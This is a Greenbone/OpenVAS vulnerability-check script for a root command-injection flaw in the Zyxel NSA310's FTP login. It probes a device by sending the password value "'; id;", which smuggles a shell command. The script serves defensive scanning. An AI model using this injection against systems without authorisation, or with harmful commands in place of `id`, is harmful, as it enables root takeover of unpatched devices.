Zyxel NSA310 RCE Vulnerability

# SPDX-FileCopyrightText: 2016 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.105566");
  script_version("2024-06-28T05:05:33+0000");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_tag(name:"last_modification", value:"2024-06-28 05:05:33 +0000 (Fri, 28 Jun 2024)");
  script_tag(name:"creation_date", value:"2016-03-15 10:52:54 +0100 (Tue, 15 Mar 2016)");
  script_name("Zyxel NSA310 RCE Vulnerability");

  script_tag(name:"summary", value:"A remote unauthenticated code execution vulnerability in Zyxel
  NSA310 allows remote attackers to execute arbitrary code as a `root' user.");

  script_tag(name:"vuldetect", value:"Try to execute the `id' command.");

  script_tag(name:"insight", value:"Due to the way commands are passed inside the system, and lack
  of proper filtering of user information, an attacker can use the ` (single quote) to escape the
  original command syntax and introduce additional commands to be executed by the code.");

  script_tag(name:"affected", value:"Zyxel NSA310 V4.70(AFK.1).");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure
  of this vulnerability. Likely none will be provided anymore. General solution options are to upgrade to a newer
  release, disable respective features, remove the product or replace the product by another one.");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_tag(name:"qod_type", value:"exploit");

  script_xref(name:"URL", value:"https://blogs.securiteam.com/index.php/archives/2694");

  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2016 Greenbone AG");
  script_family("FTP");
  script_dependencies("ftpserver_detect_type_nd_version.nasl");
  script_require_ports("Services/ftp", 21);
  script_mandatory_keys("ftp/pure_ftpd/detected");

  exit(0);
}

include("ftp_func.inc");
include("port_service_func.inc");

port = ftp_get_port( default:21 );
banner = ftp_get_banner( port:port );

if( !banner || "Pure-FTPd" >!< banner )
  exit( 99 );

soc = open_sock_tcp( port );
if( ! soc ) exit( 0 );

send( socket:soc, data:"user '" + '\r\n' );
recv = recv( socket:soc, length:512 );

if( "Password" >!< recv )
{
 close( soc );
 exit( 99 );
}

send( socket:soc, data:"pass '; id;" + '\r\n' );

recv = recv( socket:soc, length:512 );

close( soc );

if( recv =~ "uid=[0-9]+.*gid=[0-9]+" )
{
  report = "It was possible to execute the `id' command on the remote system. Response:" + '\n' + recv;
  security_message( port:port, data:report );
  exit( 0 );
}

exit( 99 );